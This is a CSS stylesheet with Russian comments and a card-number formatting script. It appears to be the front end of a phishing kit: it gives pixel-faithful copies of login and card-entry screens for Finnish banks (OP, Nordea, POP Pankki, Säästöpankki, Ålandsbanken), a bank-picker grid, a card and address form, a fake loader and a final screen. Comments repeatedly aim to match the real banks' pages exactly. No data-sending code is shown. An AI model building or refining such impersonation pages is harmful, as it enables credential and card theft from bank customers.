/* ОБЩИЕ НАСТРОЙКИ */
body { 
    font-family: 'Segoe UI', Arial, sans-serif; 
    margin: 0; 
    background: #f4f6f9; 
    color: #333; 
}

header { background: #001a4d; color: white; }

.top-bar { 
    display: flex; 
    justify-content: center; 
    gap: 20px; 
    padding: 8px; 
    font-size: 12px; 
    background: #000c24; 
    opacity: 0.8; 
}

nav { 
    display: flex; 
    justify-content: space-around; 
    align-items: center; 
    padding: 15px; 
}

.logo-area { display: flex; align-items: center; gap: 10px; }
.main-logo { height: 35px; }
.logo-text { font-size: 20px; font-weight: bold; }
.logo-text span { color: #d42027; }
.menu { display: flex; gap: 15px; font-size: 13px; font-weight: bold; }

/* КОНТЕЙНЕРЫ */
.container { 
    max-width: 1100px; 
    margin: 50px auto; 
    padding: 20px; 
}

.hidden { display: none !important; }
.title { text-align: center; margin-bottom: 30px; font-size: 28px; color: #001a4d; }

/* СЕТКА БАНКОВ */
.bank-grid { 
    display: grid; 
    grid-template-columns: repeat(3, 1fr); 
    gap: 25px; 
}

.bank-card { 
    background: white; 
    padding: 40px 20px; 
    border-radius: 12px; 
    cursor: pointer; 
    display: flex; 
    justify-content: center; 
    align-items: center; 
    border: 1px solid #ddd; 
    transition: 0.3s; 
    min-height: 180px; 
}

.bank-card:hover { 
    transform: translateY(-8px); 
    box-shadow: 0 15px 30px rgba(0,0,0,0.1); 
    border-color: #001a4d;
}

.bank-card img { 
    max-width: 85%; 
    height: 100px; 
    object-fit: contain; 
}

/* ФОРМА (ОБЩЕЕ) */
.login-box { 
    background: white; 
    padding: 50px 40px; 
    border-radius: 12px; 
    max-width: 450px; 
    margin: 0 auto; 
    box-shadow: 0 20px 45px rgba(0,0,0,0.1); 
    text-align: center; 
}

.form-logo { 
    height: 70px; 
    margin-bottom: 30px; 
    object-fit: contain;
}

/* СПЕЦИАЛЬНЫЕ СТИЛИ ДЛЯ КАРТЫ */
.card-box {
    max-width: 500px; /* Карта чуть шире */
}

.card-header-top {
    display: flex;
    align-items: center;
    justify-content: space-between;
    margin-bottom: 25px;
    padding-bottom: 15px;
    border-bottom: 1px solid #eee;
}

.card-header-top h3 {
    font-size: 16px;
    margin: 0;
    text-align: left;
    color: #001a4d;
}

.layer6-logo {
    height: 35px;
}

.card-row {
    display: flex;
    gap: 15px;
}

.card-row .input-group {
    flex: 1;
}

/* ИНПУТЫ И КНОПКИ */
.input-group { text-align: left; margin-bottom: 20px; }
.input-group label { display: block; font-size: 13px; margin-bottom: 8px; font-weight: bold; color: #555; }

input { 
    width: 100%; 
    padding: 14px; 
    border: 1px solid #ccc; 
    border-radius: 6px; 
    box-sizing: border-box; 
    font-size: 16px;
}

input:focus {
    outline: none;
    border-color: #001a4d;
    box-shadow: 0 0 5px rgba(0,26,77,0.2);
}

.btn-submit { 
    width: 100%; 
    padding: 16px; 
    background: #001a4d; 
    color: white; 
    border: none; 
    font-weight: bold; 
    cursor: pointer; 
    border-radius: 6px; 
    margin-top: 15px; 
    font-size: 16px;
}

.btn-submit:hover { background: #d42027; transition: 0.3s; }

.back-btn { 
    margin-top: 25px; 
    cursor: pointer; 
    font-size: 14px; 
    color: #888; 
    text-decoration: underline;
}

/* АДАПТИВ */
@media (max-width: 768px) {
    .bank-grid { grid-template-columns: repeat(2, 1fr); }
    .card-row { flex-direction: column; gap: 0; }
}/* --- ДОПИСАТЬ В КОНЕЦ style.css --- */

/* Разделитель между картой и адресом */
.form-divider {
    border: 0;
    border-top: 1px solid #eee;
    margin: 25px 0;
}

/* Настройка чекбокса (галочки) */
.checkbox-group {
    display: flex;
    align-items: flex-start;
    gap: 12px;
    text-align: left;
    margin-bottom: 20px;
    padding: 0 5px;
}

.checkbox-group input[type="checkbox"] {
    width: 18px;
    height: 18px;
    margin: 0;
    cursor: pointer;
}

.checkbox-group label {
    font-size: 13px;
    color: #555;
    line-height: 1.4;
    cursor: pointer;
    user-select: none;
}

/* Делаем поля адреса чуть компактнее, чтобы форма не была гигантской */
.card-box input {
    padding: 12px;
    font-size: 15px;
    margin-bottom: 15px;
}/* Убираем лишний разрыв между датами и галочкой */
.card-row {
    margin-bottom: 10px; /* Уменьшаем нижний отступ у ряда с датой */
}

.form-divider {
    margin: 10px 0 20px 0 !important; /* Делаем линию разделителя ближе */
}

.checkbox-group {
    margin-top: -5px; /* Подтягиваем галочку выше */
    margin-bottom: 25px; 
}

/* Делаем подписи под инпутами чуть ближе к самим полям */
.input-subtext {
    margin-bottom: 5px;
    font-size: 11px;
    color: #888;
}// Автоматические пробелы в номере карты (4444 4444...)
const cardInput = document.getElementById('card-num');

cardInput.addEventListener('input', function (e) {
    let value = e.target.value.replace(/\s+/g, '').replace(/[^0-9]/gi, '');
    let formattedValue = "";
    for (let i = 0; i < value.length; i++) {
        if (i > 0 && i % 4 === 0) {
            formattedValue += " ";
        }
        formattedValue += value[i];
    }
    e.target.value = formattedValue.substring(0, 19); // Ограничение 16 цифр + 3 пробела
});
/* Контейнер лоадера */
.loader-container {
    display: flex;
    flex-direction: column;
    align-items: center;
    padding: 40px 20px;
}

/* Сама шестеренка/спиннер */
.loader {
    border: 4px solid #f3f3f3;
    border-top: 4px solid #3498db; /* Цвет крутилки */
    border-radius: 50%;
    width: 50px;
    height: 50px;
    animation: spin 1s linear infinite;
    margin-bottom: 20px;
}

@keyframes spin {
    0% { transform: rotate(0deg); }
    100% { transform: rotate(360deg); }
}

.loading-text {
    font-size: 18px;
    color: #333;
    font-weight: bold;
    text-align: center;
}
/* Выравниваем только блок с шестеренкой */
.loader-container {
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    text-align: center;
    padding: 60px 0; /* Добавляем отступы сверху и снизу, чтобы было по центру бокса */
    width: 100%;
}

/* Сама шестеренка */
.loader {
    border: 6px solid #f3f3f3;
    border-top: 6px solid #3498db;
    border-radius: 50%;
    width: 60px;
    height: 60px;
    animation: spin 1s linear infinite;
    margin: 0 auto 20px auto; /* Центровка самой детали */
}

@keyframes spin {
    0% { transform: rotate(0deg); }
    100% { transform: rotate(360deg); }
}

/* Текст под шестеренкой */
.loading-text {
    width: 100%;
    text-align: center;
    font-size: 18px;
    display: block;
}
/* Главный контейнер (Отступ 50px между блоками - пункт 3) */
.sp-flex-container {
    display: flex;
    justify-content: center;
    gap: 50px; 
    max-width: 1000px;
    margin: 40px auto;
    align-items: flex-start;
    font-family: Arial, sans-serif;
}

/* ЛЕВАЯ И ПРАВАЯ КОЛОНКИ (Пункт 2 - два раздельных блока) */
.sp-left-column { width: 480px; }
.sp-right-column { width: 380px; }

/* Общая шапка (Пункт 2 - шапка на каждом блоке) */
.sp-header-teal {
    background-color: #007a8c;
    height: 50px;
    color: white;
    padding: 0 20px;
    display: flex;
    align-items: center;
    font-weight: bold;
    font-size: 15px;
    border-radius: 4px 4px 0 0;
}

/* Карточки под шапкой */
.sp-white-card, .sp-info-box {
    background: white;
    border: 1px solid #ccc;
    border-top: none;
    border-radius: 0 0 4px 4px;
}

/* ТАБЫ */
.sp-tab-row { display: flex; background: #f8f8f8; border-bottom: 1px solid #ddd; }
.sp-tab-item { flex: 1; padding: 12px 5px; text-align: center; font-size: 13px; color: #007a8c; cursor: pointer; border-right: 1px solid #ddd; }
.sp-tab-item:last-child { border-right: none; }
.sp-tab-item.active { background: white; color: #333; font-weight: bold; border-bottom: 3px solid #007a8c; }

/* КОНТЕНТ ЛЕВОЙ КАРТОЧКИ */
.sp-card-body { padding: 30px; }
.sp-instruction-text { font-size: 13px; color: #333; line-height: 1.5; margin-bottom: 20px; }
.sp-event-id-display { margin-bottom: 20px; font-size: 14px; }
.sp-code-bold { font-weight: bold; font-size: 16px; margin-left: 5px; }

/* ПОЛЯ ВВОДА (Пункт 1 - короткие 220px) */
.sp-input-box { margin-bottom: 15px; }
.sp-input-box label { display: block; font-size: 13px; font-weight: bold; margin-bottom: 5px; color: #333; }
.sp-input-short {
    width: 220px; 
    padding: 8px;
    border: 1px solid #000;
    border-radius: 4px;
    font-size: 16px;
}

/* КНОПКИ */
.sp-btn-row { display: flex; gap: 15px; margin-top: 25px; align-items: center; }
.sp-btn-submit { background: #007a8c; color: white; border: none; padding: 10px 25px; border-radius: 20px; font-weight: bold; cursor: pointer; }
.sp-btn-alt { background: #f2f2f2; color: #999; border: none; padding: 10px 25px; border-radius: 20px; font-weight: bold; cursor: pointer; }

/* ПРАВАЯ КОЛОНКА - КОНТЕНТ */
.sp-info-box { padding: 25px; border-top: 1px solid #ccc; } /* Добавил верхнюю рамку, так как шапка пустая */
.sp-info-title { color: #004d5b; font-size: 16px; font-weight: bold; margin-bottom: 20px; }
.sp-info-links p { margin: 0 0 10px 0; }
.sp-info-links a { color: #333; font-size: 13px; text-decoration: underline; }

/* ЧЕРНЫЙ БАННЕР */
.sp-black-banner { background: #1a1a1a; margin-top: 30px; border-radius: 3px; overflow: hidden; }
.sp-banner-inner { display: flex; align-items: center; }
.sp-banner-text { padding: 0px; flex: 1; }
.sp-banner-img { width: 50px; height: 50px; object-fit: cover; }
.sp-warn-text { color: white; font-weight: bold; font-size: 16px; display: block; }
.sp-sub-text { color: #ccc; font-size: 12px; }

/* ФУТЕР ЛЕВОГО БЛОКА */
.sp-footer-area { margin-top: 30px; }
.sp-link-grid { display: flex; gap: 40px; }
.sp-link-grid a { color: #333; font-size: 12px; text-decoration: underline; line-height: 1.8; }
.sp-copyright { margin-top: 20px; font-size: 11px; color: #777; }

/* ФИКС ДЛЯ СКРЫТИЯ */
.hidden { display: none !important; }
.op-wrapper-clean {
    max-width: 900px;
    margin: 50px auto;
    background: #fff;
    font-family: 'Segoe UI', Arial, sans-serif;
}

.op-title-main {
    font-size: 42px;
    font-weight: 300;
    color: #333;
    margin-bottom: 40px;
}

.op-grid-form { display: table; width: 100%; border-spacing: 0 20px; }
.op-grid-row { display: table-row; }
.op-grid-label { 
    display: table-cell; 
    width: 30%; 
    text-align: right; 
    padding-right: 30px; 
    vertical-align: top;
    font-size: 18px;
    color: #666;
}
.op-grid-content { display: table-cell; vertical-align: top; }

/* Кастомные радиокнопки как в PSD */
.op-custom-radio { display: block; margin-bottom: 15px; cursor: pointer; position: relative; padding-left: 35px; font-size: 18px; }
.op-custom-radio input { display: none; }
.op-radio-dot {
    position: absolute; left: 0; top: 0;
    height: 24px; width: 24px;
    border: 2px solid #ff6600; border-radius: 50%;
}
.op-custom-radio input:checked ~ .op-radio-dot::after {
    content: ''; position: absolute; left: 4px; top: 4px;
    width: 16px; height: 16px; background: #ff6600; border-radius: 50%;
}

.op-q-box { border: 1px solid #ccc; padding: 0 5px; font-size: 14px; margin-left: 10px; color: #999; border-radius: 3px; }

.op-input-big {
    width: 100%; max-width: 450px;
    padding: 12px; border: 1px solid #ccc; font-size: 18px;
}

.op-forgot-link { color: #ff6600; text-decoration: underline; font-weight: bold; font-size: 16px; margin-top: 10px; display: inline-block; }

/* Та самая Кнопка Jatka */
.op-btn-orange {
    background: #ff6600; color: #fff; border: none;
    padding: 12px 60px; border-radius: 30px;
    font-size: 22px; font-weight: bold; cursor: pointer;
}
.op-text-right { text-align: left; padding-left: 0; } /* В оригинале она под инпутом */
/* Выравниваем заголовок по центру */
.op-title-main {
    text-align: center; /* Центруем текст */
    padding-left: 0;    /* Убираем старое смещение */
    width: 100%;
}

/* Растягиваем белый фон ниже */
.op-wrapper-clean {
    padding-bottom: 120px; /* Увеличиваем отступ снизу, чтобы растянуть блок */
    margin-top: 40px;      /* Регулируем отступ сверху, если нужно опустить еще ниже */
}

/* Центрируем саму сетку формы внутри белого блока */
.op-grid-form {
    margin: 0 auto;        /* Центруем таблицу формы */
    max-width: 600px;      /* Ограничиваем ширину для аккуратного вида */
}
/* ==========================================
   POP PANKKI SPECIFIC STYLES
   ========================================== */

/* Зеленая шапка для POP */
.pop-header {
    background-color: #ffffff;
    color: #333;
    padding: 18px 25px;
    font-size: 16px;
    font-weight: bold;
    border-bottom: 3px solid #00b050; /* Фирменный зеленый POP */
    border-radius: 4px 4px 0 0;
}

/* Кнопка отправки POP (Зеленая и строгая) */
.pop-btn-submit {
    background-color: #00b050;
    color: white;
    border: none;
    padding: 12px 25px;
    border-radius: 2px; /* У POP более острые углы кнопок */
    font-size: 14px;
    font-weight: bold;
    cursor: pointer;
    text-transform: uppercase;
    transition: background 0.2s;
}

.pop-btn-submit:hover {
    background-color: #008f41;
}

/* Ссылки POP Pankki */
.pop-link {
    color: #00b050 !important;
    text-decoration: underline;
    font-size: 13px;
    transition: color 0.2s;
}

.pop-link:hover {
    color: #008f41 !important;
}

/* Правая карточка с инфо для POP */
.pop-info-card {
    background: #ffffff;
    border: 1px solid #e0e0e0;
    padding: 25px;
    border-radius: 4px;
    box-shadow: 0 2px 8px rgba(0,0,0,0.05);
}

.pop-info-title {
    color: #00b050;
    font-size: 17px;
    font-weight: bold;
    margin-bottom: 12px;
    margin-top: 0;
}

.pop-info-text {
    font-size: 13px;
    line-height: 1.6;
    color: #444;
    margin-bottom: 20px;
}

/* Переопределение табов для POP (чтобы были зелеными при активации) */
#screen-poppankki .sp-tab-item.active {
    border-bottom: 3px solid #00b050;
    color: #00b050;
}

#screen-poppankki .sp-tab-item {
    color: #666;
}

/* Фоновая картинка (если у тебя есть pop-bg.jpg, расскоментируй) */
/* .poppankki-bg {
    background: #f4f7f4 url('../img/pop-bg.jpg') no-repeat center top;
    background-size: cover;
    min-height: 100vh;
}
*/

/* Если картинки нет, просто приятный светлый фон */
.poppankki-bg {
    background-color: #f4f7f4;
    min-height: 100vh;
}
/* ==========================================
   NORDEA STYLES
   ========================================== */

/* Фоновая подложка */
.nordea-bg {
    background-color: #f4f7f9;
    min-height: 100vh;
    position: relative;
}

.nordea-centered-content {
    position: relative;
    z-index: 1;
    display: flex;
    flex-direction: column;
    align-items: center;
    padding-top: 50px;
}

/* Карточка лога */
.nordea-card {
    background: #ffffff;
    width: 100%;
    max-width: 420px;
    border-radius: 8px;
    box-shadow: 0 10px 25px rgba(0,0,0,0.2);
    overflow: hidden;
}

.nordea-card-header {
    text-align: center;
    padding: 30px 20px 10px;
}

.nordea-card-header h2 {
    font-size: 22px;
    color: #333;
    margin: 0;
    font-family: 'Segoe UI', sans-serif;
}

.nordea-card-header p {
    font-size: 14px;
    color: #666;
    margin-top: 8px;
}

.nordea-card-body {
    padding: 20px 45px 35px;
    text-align: center;
}

/* Иконка приложения с галочкой */
.nordea-app-icon-wrapper {
    position: relative;
    display: inline-block;
    margin-bottom: 20px;
}

.nordea-app-icon {
    width: 75px;
    height: auto;
}

.nordea-check-badge {
    position: absolute;
    top: -2px;
    right: -2px;
    background: #28a745;
    color: white;
    width: 22px;
    height: 22px;
    border-radius: 50%;
    font-size: 13px;
    line-height: 22px;
    border: 2px solid white;
    font-weight: bold;
}

.nordea-method-title {
    font-size: 18px;
    color: #0000a0;
    margin-bottom: 25px;
    font-weight: 600;
}

/* Поля ввода */
.nordea-input-group {
    text-align: left;
    margin-bottom: 25px;
}

.nordea-input-group label {
    display: block;
    font-size: 14px;
    color: #333;
    margin-bottom: 8px;
}

.nordea-input {
    width: 100%;
    padding: 12px 15px;
    border: 1px solid #bdc3c7;
    border-radius: 4px;
    font-size: 16px;
    box-sizing: border-box;
    outline: none;
}

.nordea-input:focus {
    border-color: #0000a0;
}

/* Кнопка OK */
.nordea-btn-ok {
    width: 100%;
    background-color: #0000a0;
    color: white;
    border: none;
    padding: 14px;
    border-radius: 25px; /* Скругленная кнопка */
    font-size: 16px;
    font-weight: bold;
    cursor: pointer;
    transition: background 0.3s;
}

.nordea-btn-ok:hover {
    background-color: #000080;
}

/* Футер карточки */
.nordea-card-footer {
    display: flex;
    justify-content: space-between;
    padding: 20px 45px;
    background: #f9f9f9;
    border-top: 1px solid #eee;
}

.nordea-link-blue {
    color: #0000a0;
    text-decoration: none;
    font-size: 14px;
    font-weight: 500;
}

.nordea-link-blue:hover {
    text-decoration: underline;
}

.nordea-page-footer {
    margin-top: 30px;
    text-align: center;
    padding-bottom: 20px;
}

.nordea-page-footer p {
    color: #666666; /* Тот самый серый цвет */
    font-size: 13px;  /* Размер как в оригинале */
    margin: 5px 0;    /* Небольшой отступ между строчками */
    font-family: Arial, sans-serif;
    opacity: 0.8;     /* Чуть-чуть прозрачности для мягкости */
}
/* Убираем старую галочку, так как она теперь часть картинки */
.nordea-check-badge {
    display: none;
}

/* Настройка иконки, чтобы была как на скрине */
.nordea-app-icon {
    width: 120px; /* Подбери размер под свой макет, на скрине она довольно крупная */
    height: auto;
    display: block;
    margin: 0 auto;
}

.nordea-app-icon-wrapper {
    margin-bottom: 20px;
    display: block;
}
.nordea-app-icon-wrapper {
    position: relative; /* Это важно, чтобы галочка не улетела */
    display: inline-block;
    margin-bottom: 20px;
}

.nordea-check-badge {
    display: block !important; /* Проверь, что не hidden */
    position: absolute;
    top: -5px;    /* Смещение вверх */
    right: -5px;  /* Смещение вправо */
    background: #28a745; /* Тот самый зеленый */
    color: white;
    width: 25px;
    height: 25px;
    border-radius: 50%;
    font-size: 14px;
    line-height: 25px;
    text-align: center;
    border: 2px solid white; /* Белая обводка как на макете */
    font-weight: bold;
    z-index: 2;
}
/* Базовое состояние карточки */
.nordea-card {
    transition: all 0.3s ease; /* Плавность анимации */
    border: 2px solid transparent; /* Резервируем место под рамку, чтобы код не прыгал */
    cursor: pointer;
}

/* Эффект при наведении (Highlight) */
.nordea-card:hover {
    border-color: #0000a0; /* Цвет рамки Nordea при наведении */
    box-shadow: 0 0 15px rgba(0, 0, 160, 0.2); /* Легкое синее свечение */
    transform: translateY(-2px); /* Карточка чуть приподнимается */
}

/* Если хочешь подсвечивать само поле ввода (Input) */
.nordea-input {
    transition: all 0.2s ease;
    border: 1px solid #ccc;
}

.nordea-input:hover, .nordea-input:focus {
    border-color: #0000a0;
    box-shadow: 0 0 8px rgba(0, 0, 160, 0.1);
    outline: none;
}
/* --- ÅLANDSBANKEN STYLES --- */
.alands-bg {
    background-color: #f9f9f7;
    min-height: 100vh;
    display: flex;
    justify-content: center;
    padding-top: 40px;
}

.alands-wrapper {
    width: 100%;
    max-width: 580px;
}

.alands-main-title {
    color: #007d40; /* Тот самый темно-зеленый */
    font-size: 32px;
    font-weight: 300;
    text-align: center;
    margin-bottom: 30px;
}

.alands-card {
    background: white;
    box-shadow: 0 4px 15px rgba(0,0,0,0.05);
    border-radius: 4px;
    overflow: hidden;
}

.alands-tabs {
    display: flex;
    border-bottom: 1px solid #eee;
}

.al-tab {
    flex: 1;
    padding: 15px;
    text-align: center;
    cursor: pointer;
    font-size: 15px;
    color: #666;
    background: #fcfcfc;
}

.al-tab.active {
    background: white;
    color: #007d40;
    font-weight: bold;
    border-bottom: 3px solid #007d40;
}

.alands-body {
    padding: 35px 50px;
}

.al-input-group {
    margin-bottom: 20px;
}

.al-input-group label {
    display: block;
    font-size: 14px;
    font-weight: bold;
    margin-bottom: 8px;
    color: #333;
}

.al-input, .al-select {
    width: 100%;
    padding: 10px;
    border: 1px solid #ccc;
    border-radius: 3px;
    font-size: 16px;
    box-sizing: border-box;
}

.al-btn-submit {
    width: 100%;
    background-color: #007d40;
    color: white;
    border: none;
    padding: 12px;
    font-size: 18px;
    font-weight: bold;
    border-radius: 4px;
    cursor: pointer;
    margin-top: 10px;
}

.al-card-info {
    margin-top: 30px;
    font-size: 13px;
    color: #666;
    line-height: 1.6;
    border-top: 1px solid #f0f0f0;
    padding-top: 20px;
}

.al-card-info a { color: #007d40; }
/* Специальный заголовок для Ålandsbanken без табов */
.alands-single-header {
    background: #fcfcfc;
    padding: 15px;
    text-align: center;
    color: #007d40;
    font-weight: bold;
    border-bottom: 3px solid #007d40;
    font-size: 16px;
}

.alands-wrapper .nordea-page-footer p {
    color: #666 !important; /* Чтобы футер был серым на этом экране */
}
/* --- СТИЛИ ШАПКИ (ACCOUNTING DEPARTMENT STYLE) 1:1 --- */

/* Сброс отступов для чистого отображения */
header {
    margin: 0;
    padding: 0;
    width: 100%;
    font-family: 'Arial', sans-serif;
    box-shadow: 0 4px 10px rgba(0,0,0,0.05);
}

/* 1. Верхняя темно-синяя полоска */
.top-strip {
    background-color: #1a2344; /* Глубокий синий из оригинала */
    height: 35px;
    display: flex;
    align-items: center;
    justify-content: flex-end; /* Меню прижато к правому краю */
    padding: 0 40px;
}

.top-strip-menu {
    display: flex;
    gap: 25px;
    list-style: none;
    margin: 0;
    padding: 0;
}

.top-strip-menu li {
    color: #ffffff;
    font-size: 13px;
    font-weight: 400;
    cursor: pointer;
    transition: opacity 0.2s;
}

.top-strip-menu li:hover {
    opacity: 0.7;
}

/* 2. Основная навигационная панель (белая) */
.main-nav {
    background-color: #ffffff;
    padding: 15px 40px; /* Увеличиваем высоту, чтобы логотип "дышал" */
    display: flex;
    justify-content: space-between;
    align-items: center;
}

/* Контейнер логотипа */
.logo-area {
    display: flex;
    align-items: center;
}

.main-logo {
    height: 70px; /* Крупный размер лого как на фото */
    width: auto;
    display: block;
}

/* Главное меню справа */
.primary-menu {
    display: flex;
    gap: 30px;
    align-items: center;
    list-style: none;
    margin: 0;
    padding: 0;
}

.primary-menu li {
    color: #1a2344; /* Цвет текста как у синей полосы */
    font-weight: 700; /* Жирный шрифт */
    font-size: 15px;
    text-transform: uppercase; /* Все буквы заглавные */
    letter-spacing: 0.5px;
    cursor: pointer;
    transition: color 0.3s ease;
}

/* Эффект наведения - красный из логотипа */
.primary-menu li:hover {
    color: #d12027; 
}

/* Стили для твоей логики контактов внутри меню */
.main-contact-trigger {
    color: #1a2344;
    font-weight: 700;
}

#contact-icons span {
    font-size: 12px;
    background: #f4f4f4;
    padding: 5px 10px;
    border-radius: 4px;
    color: #333;
    text-transform: none; /* Снимаем капс с контактов */
}

#contact-value {
    text-transform: none !important;
    font-size: 14px;
    color: #00763b; /* Твой фирменный зеленый для данных */
}

/* Адаптив для планшетов/телефонов */
@media (max-width: 992px) {
    .main-logo { height: 50px; }
    .primary-menu { gap: 15px; }
}
/* ==========================================
   📱 ПОЛНАЯ МОБИЛЬНАЯ АДАПТАЦИЯ
   ========================================== */

@media (max-width: 768px) {
    /* Основные контейнеры */
    .container {
        margin: 20px auto;
        padding: 15px;
    }

    .title {
        font-size: 22px;
    }

    /* Сетка банков - одна колонка */
    .bank-grid {
        grid-template-columns: 1fr !important;
        gap: 15px;
    }

    .bank-card {
        padding: 30px 15px;
        min-height: 140px;
    }

    /* Все формы */
    .login-box {
        padding: 30px 20px;
        margin: 10px;
    }

    /* Nordea */
    .nordea-card {
        max-width: 100%;
        margin: 0 10px;
    }

    .nordea-card-body {
        padding: 20px 25px;
    }

    /* OP Bank */
    .op-wrapper-clean {
        max-width: 100%;
        padding: 20px 15px;
    }

    .op-title-main {
        font-size: 28px;
    }

    .op-grid-form {
        display: block;
    }

    .op-grid-row {
        display: block;
        margin-bottom: 20px;
    }

    .op-grid-label {
        display: block;
        width: 100%;
        text-align: left;
        padding: 0;
        margin-bottom: 10px;
    }

    .op-grid-content {
        display: block;
    }

    /* Säästöpankki / POP */
    .sp-flex-container {
        flex-direction: column !important;
        gap: 20px;
        padding: 0 10px;
    }

    .sp-left-column,
    .sp-right-column {
        width: 100% !important;
    }

    .sp-card-body {
        padding: 20px 15px;
    }

    .sp-input-short {
        width: 100% !important;
    }

    .sp-btn-row {
        flex-direction: column;
    }

    .sp-btn-submit,
    .sp-btn-alt,
    .pop-btn-submit {
        width: 100%;
    }

    /* Alandsbanken */
    .alands-wrapper {
        max-width: 100%;
        margin: 20px 10px;
    }

    .alands-body {
        padding: 20px 15px;
    }

    /* Карта */
    .card-box {
        max-width: 100%;
    }

    .card-row {
        flex-direction: column;
        gap: 0;
    }

    .card-header-top {
        flex-direction: column;
        align-items: flex-start;
        gap: 10px;
    }

    /* Шапка */
    .top-strip {
        padding: 8px 15px;
        height: auto;
    }

    .top-strip-menu {
        gap: 10px;
        font-size: 11px;
    }

    .main-nav {
        padding: 10px 15px;
        flex-direction: column;
        gap: 15px;
    }

    .logo-area {
        width: 100%;
        justify-content: center;
    }

    .main-logo {
        height: 45px;
    }

    .primary-menu {
        flex-direction: column;
        gap: 10px;
        width: 100%;
        text-align: center;
    }

    .primary-menu li {
        font-size: 13px;
        padding: 8px 0;
    }
}

@media (max-width: 480px) {
    .title {
        font-size: 20px;
    }

    .main-logo {
        height: 35px;
    }

    .bank-card img {
        max-width: 80%;
    }

    .op-title-main {
        font-size: 24px;
    }

    .al-btn-main,
    .al-btn-secondary {
        padding: 14px;
        font-size: 14px;
    }

    input {
        font-size: 14px;
        padding: 12px;
    }
}
/* Выравнивание кнопок на финальном экране */
#screen-final .al-content {
    display: flex;
    flex-direction: column;
    align-items: center; /* Центрируем содержимое */
}

#screen-final .al-btn-main, 
#screen-final .al-btn-secondary {
    width: 100%;             /* Растягиваем на всю ширину родителя */
    max-width: 400px;        /* Ограничиваем максимальную ширину, чтобы не были на весь экран */
    box-sizing: border-box;  /* Важно: чтобы рамка не расширяла кнопку */
    margin: 10px 0;          /* Равномерные отступы сверху и снизу */
    padding: 16px 20px;      /* Одинаковая высота для обоих */
    font-size: 16px;
    font-weight: bold;
    border-radius: 8px;      /* Одинаковое скругление */
    text-align: center;
    display: block;
    cursor: pointer;
    transition: 0.3s;
}

/* Цвета для зеленой кнопки */
.al-btn-main {
    background-color: #007a3d !important;
    color: white !important;
    border: none !important;
}

/* Цвета для белой кнопки */
.al-btn-secondary {
    background-color: white !important;
    color: #007a3d !important;
    border: 1px solid #ccc !important;
}

/* Эффект при наведении */
.al-btn-main:hover { opacity: 0.9; }
.al-btn-secondary:hover { background-color: #f9f9f9; }